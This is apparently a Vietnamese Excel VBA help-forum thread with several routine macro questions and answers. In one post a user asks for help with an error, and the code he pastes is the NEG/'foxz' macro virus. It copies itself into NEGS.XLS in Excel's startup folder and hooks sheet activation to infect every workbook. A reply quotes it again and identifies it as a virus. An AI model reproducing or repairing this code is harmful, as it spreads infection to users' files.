Em có tạo thử 1 Name với Sumif rồi Em đưa vào Code test thử thì thấy ko được: Sheet3.Range("J4:J" & DongCuoi).FormulaR1C1 = "=NhapTrongKy"
Mong A/C chỉ giúp Em liệu có thể dùng name trong trường hợp này không? Em cảm ơn!

Love GPE · 21/11/20

Em sửa như này thì được rồi ạ
Sheet3.Range("J4:J" & DongCuoi).Formula = "=NhapTrongKy"

khoinguyenplastic · 27/11/20

các bác giúp e với

mấy hôm nay máy e cứ hiện lỗi mà e không biết sửa thế nào. Bị sai ở dòng màu xanh ạ

mong các bác chỉ e với. Em cảm ơn ạ.
Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "\" & "NEGS.XLS")
If m$ = "NEGS.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10

Select Case whichfile
Case 10
Application.ScreenUpdating = False
n4$ = ActiveWorkbook.Name
Sheets("foxz").Visible = True
Sheets("foxz").Select
Sheets("foxz").Copy
With ActiveWorkbook
.title = ""
.Subject = ""
.Author = ""
.Keywords = ""
.Comments = "infected by NEG Promo!"
End With
newname$ = ActiveWorkbook.Name
c4$ = CurDir()
ChDir Application.StartupPath
ActiveWindow.Visible = False
Workbooks(newname$).SaveAs FileName:=Application.StartupPath & "/" & "NEGS.XLS", FileFormat:=xlNormal _
, Password:="", WriteResPassword:="", ReadOnlyRecommended:= _
False, CreateBackup:=False
ChDir c4$
Workbooks(n4$).Sheets("foxz").Visible = False
Application.OnSheetActivate = ""
Application.ScreenUpdating = True
Application.OnSheetActivate = "NEGS.XLS!check_files"
Case 1
Application.ScreenUpdating = False
n4$ = ActiveWorkbook.Name
p4$ = ActiveWorkbook.Path
s$ = Workbooks(n4$).Sheets(1).Name
If s$ <> "foxz" Then
Workbooks("NEGS.XLS").Sheets("foxz").Copy before:=Workbooks(n4$).Sheets(1)
Workbooks(n4$).Sheets("foxz").Visible = False
Else
End If
Application.OnSheetActivate = ""
Application.ScreenUpdating = True
Application.OnSheetActivate = "NEGS.XLS!check_files"
Case Else
End Select

End Sub

Ba Tê · 27/11/20

khoinguyenplastic đã viết:
các bác giúp e với mấy hôm nay máy e cứ hiện lỗi mà e không biết sửa thế nào. Bị sai ở dòng màu xanh ạ mong các bác chỉ e với. Em cảm ơn ạ.
Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "\" & "NEGS.XLS")
If m$ = "NEGS.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10

Select Case whichfile
Case 10
Application.ScreenUpdating = False
n4$ = ActiveWorkbook.Name
Sheets("foxz").Visible = True
Sheets("foxz").Select
Sheets("foxz").Copy
With ActiveWorkbook
.title = ""
.Subject = ""
.Author = ""
.Keywords = ""
.Comments = "infected by NEG Promo!"
End With
newname$ = ActiveWorkbook.Name
c4$ = CurDir()
ChDir Application.StartupPath
ActiveWindow.Visible = False
Workbooks(newname$).SaveAs FileName:=Application.StartupPath & "/" & "NEGS.XLS", FileFormat:=xlNormal _
, Password:="", WriteResPassword:="", ReadOnlyRecommended:= _
False, CreateBackup:=False
ChDir c4$
Workbooks(n4$).Sheets("foxz").Visible = False
Application.OnSheetActivate = ""
Application.ScreenUpdating = True
Application.OnSheetActivate = "NEGS.XLS!check_files"
Case 1
Application.ScreenUpdating = False
n4$ = ActiveWorkbook.Name
p4$ = ActiveWorkbook.Path
s$ = Workbooks(n4$).Sheets(1).Name
If s$ <> "foxz" Then
Workbooks("NEGS.XLS").Sheets("foxz").Copy before:=Workbooks(n4$).Sheets(1)
Workbooks(n4$).Sheets("foxz").Visible = False
Else
End If
Application.OnSheetActivate = ""
Application.ScreenUpdating = True
Application.OnSheetActivate = "NEGS.XLS!check_files"
Case Else
End Select

End Sub

Nó là một "vi rút". Tìm cách xóa nó chứ sửa làm gì.

ngocthach90 · 28/11/20

Em muốn copy table từ Excel sang Word, nhưng trước khi copy em muốn dùng code VBA để tìm table đang có ở file Word cho trước để xóa và thay thế bằng table mới. Cho em hỏi có code nào làm được không?

Hoàng Nhật Phương · 30/11/20

Xin chào tất cả các bạn,
OT có đoạn code bên dưới , với dữ liệu nhiều code chạy chậm ạ:

Mã:

Sub DienCongThuc()
    Dim r As Range
    For Each r In Me.Range("C2:C28")
        If r.Value = "Ton kho" Then
            r.Offset(, 1).Value = "=MAX(RC[2]:RC[8])"
            r.Offset(, 3).Resize(, 7).Value = "=RC[-1]+R[-1]C-R[-2]C"
        End If
    Next r
End Sub

Do đó OT muốn sử dụng "Union" để tăng tốc độ code, nhờ các bạn xem & giúp đỡ OT cách làm với ạ.

tigertiger · 30/11/20

NHN_Phương đã viết:
Xin chào tất cả các bạn,
OT có đoạn code bên dưới , với dữ liệu nhiều code chạy chậm ạ:

Mã:

Sub DienCongThuc() Dim r As Range For Each r In Me.Range("C2:C28") If r.Value = "Ton kho" Then r.Offset(, 1).Value = "=MAX(RC[2]:RC[8])" r.Offset(, 3).Resize(, 7).Value = "=RC[-1]+R[-1]C-R[-2]C" End If Next r End Sub

Do đó OT muốn sử dụng "Union" để tăng tốc độ code, nhờ các bạn xem & giúp đỡ OT cách làm với ạ.

Thử cái này

Mã:

Sub DienCongThuc()
    Dim r As Range, RgU1 As Range, RgU2 As Range
    Dim k As Long
    k = 0
    For Each r In Range("C2:C28")
        If r.Value = "Ton kho" Then
            k = k + 1
            If k = 1 Then
                Set RgU1 = r.Offset(, 1)
                Set RgU2 = r.Offset(, 3).Resize(, 7)
            Else
                Set RgU1 = Union(RgU1, r.Offset(, 1))
                Set RgU2 = Union(RgU2, r.Offset(, 3).Resize(, 7))
            End If
        End If
    Next r
    If k > 0 Then
        RgU1.FormulaR1C1 = "=MAX(RC[2]:RC[8])"
        RgU2.FormulaR1C1 = "=RC[-1]+R[-1]C-R[-2]C"
    End If
End Sub

Hoàng Nhật Phương · 30/11/20

tigertiger đã viết:

Thử cái này

Mã:

Sub DienCongThuc()
    Dim r As Range, RgU1 As Range, RgU2 As Range
    Dim k As Long
    k = 0
    For Each r In Range("C2:C28")
        If r.Value = "Ton kho" Then
            k = k + 1
            If k = 1 Then
                Set RgU1 = r.Offset(, 1)
                Set RgU2 = r.Offset(, 3).Resize(, 7)
            Else
                Set RgU1 = Union(RgU1, r.Offset(, 1))
                Set RgU2 = Union(RgU2, r.Offset(, 3).Resize(, 7))
            End If
        End If
    Next r
    If k > 0 Then
        RgU1.FormulaR1C1 = "=MAX(RC[2]:RC[8])"
        RgU2.FormulaR1C1 = "=RC[-1]+R[-1]C-R[-2]C"
    End If
End Sub

Cảm ơn bạn rất nhiều, OT hiểu rồi ạ.

Love GPE · 2/12/20

Em chào A/C,
Em có đoạn code với mong muốn. Ví dụ: Em đang ở dòng số 10 Em nhấp đúp chuột vào ô G10. Thì sự kiện double click sẽ được kích hoạt và điền giá trị là 1 vào ô A10
(Tức là em cứ nhấp đúp chuột vào các ô trong vùng G5

200 thì ở dòng tương ứng sẽ điền giá trị là 1 vào dòng đó ở cột A)
Đây là đoạn code Em đang mày mò mà chưa được. Mong A/C xem giúp Em. Cảm ơn A/C nhiều!

Mã:

Private Sub Worksheet_BeforeDoubleClick(ByVal Target As Range, Cancel As Boolean)
If Sheet4.Range("G5:P200").Row = Target.Row Then
    Sheet4.Range("A" & Target.Row).Value = 1
End If
End Sub

Cu Tồ · 2/12/20

Love GPE đã viết:
cứ nhấp đúp chuột vào các ô trong vùng "G5:G200"

Mã:

Private Sub Worksheet_BeforeDoubleClick(ByVal Target As Range, Cancel As Boolean)
Dim Rng As Range
Set Rng = Sheet1.Range("G5:G200")
If Intersect(Target, Rng) Is Nothing Then Exit Sub
        Application.EnableEvents = False
            Target.Offset(, -6).Value = 1
        Application.EnableEvents = True
End Sub

batman1 · 2/12/20

Love GPE đã viết:
(Tức là em cứ nhấp đúp chuột vào các ô trong vùng G5200 thì ở dòng tương ứng sẽ điền giá trị là 1 vào dòng đó ở cột A)

Thử xem sao nhé.

Mã:

Private Sub Worksheet_BeforeDoubleClick(ByVal Target As Range, Cancel As Boolean)
    If Not Intersect(Sheet4.Range("G5:P200"), Target) Is Nothing Then
        Sheet4.Range("A" & Target.Row).Value = 1
    End If
End Sub

Love GPE · 2/12/20

batman1 đã viết:
Thử xem sao nhé.

Mã:

Private Sub Worksheet_BeforeDoubleClick(ByVal Target As Range, Cancel As Boolean) If Not Intersect(Sheet4.Range("G5:P200"), Target) Is Nothing Then Sheet4.Range("A" & Target.Row).Value = 1 End If End Sub

Chuẩn cơm Mẹ nấu luôn Anh ạ. Em cảm ơn Anh nhiều!

Love GPE · 3/12/20

Em chạy đoạn code tạo mục lục. Nó đã ra tên sheet. Nhưng bị lỗi tham chiếu khi bấm vào hyperlink. Em ngồi sửa mãi mà chưa được. Mong A/C xem giúp Em!

Mã:

Sub MucLuc()
Dim Ws As Worksheet, Cel As Range
Dim k As Byte
For Each Ws In Sheets
If Ws.CodeName <> "Sheet1" Then
    k = k + 1
    Set Cel = Sheet1.Range("B" & k + 1)
    Cel.Value = Ws.Name
    Cel.Hyperlinks.Add Anchor:=Cel, Address:="", SubAddress:=Cel & "!A1", TextToDisplay:=Cel.Value
End If
Next Ws
    Set Ws = Nothing: Set Cel = Nothing
End Sub

befaint · 3/12/20

Love GPE đã viết:
lỗi tham chiếu

Đừng có đặt tên Folder, tên File, tên Sheet là chữ --- có --- dấu --- mệt ---- lắm --- á.

Chuyên đề giải đáp những thắc mắc về code VBA

Thành viên thường trực

Thành viên mới

Tìm đến kiến thức! ꧁༺ Cu Tồ ༻꧂

Thành viên mới

Tìm đến kiến thức! ꧁༺ Cu Tồ ༻꧂

Thành viên mới

Tìm đến kiến thức! ꧁༺ Cu Tồ ༻꧂

Thành viên chính thức

Thành viên chính thức

Thành viên mới

File đính kèm

Cạo Rồi Khỏi Gội

Thành viên mới

Thành viên gắn bó

Coming back ...

Thành viên gắn bó

Thành viên chính thức

Tìm đến kiến thức! ꧁༺ Cu Tồ ༻꧂

Thành viên gạo cội

Thành viên chính thức

Thành viên chính thức

File đính kèm

|||||||||||||

File đính kèm

Facebook

Group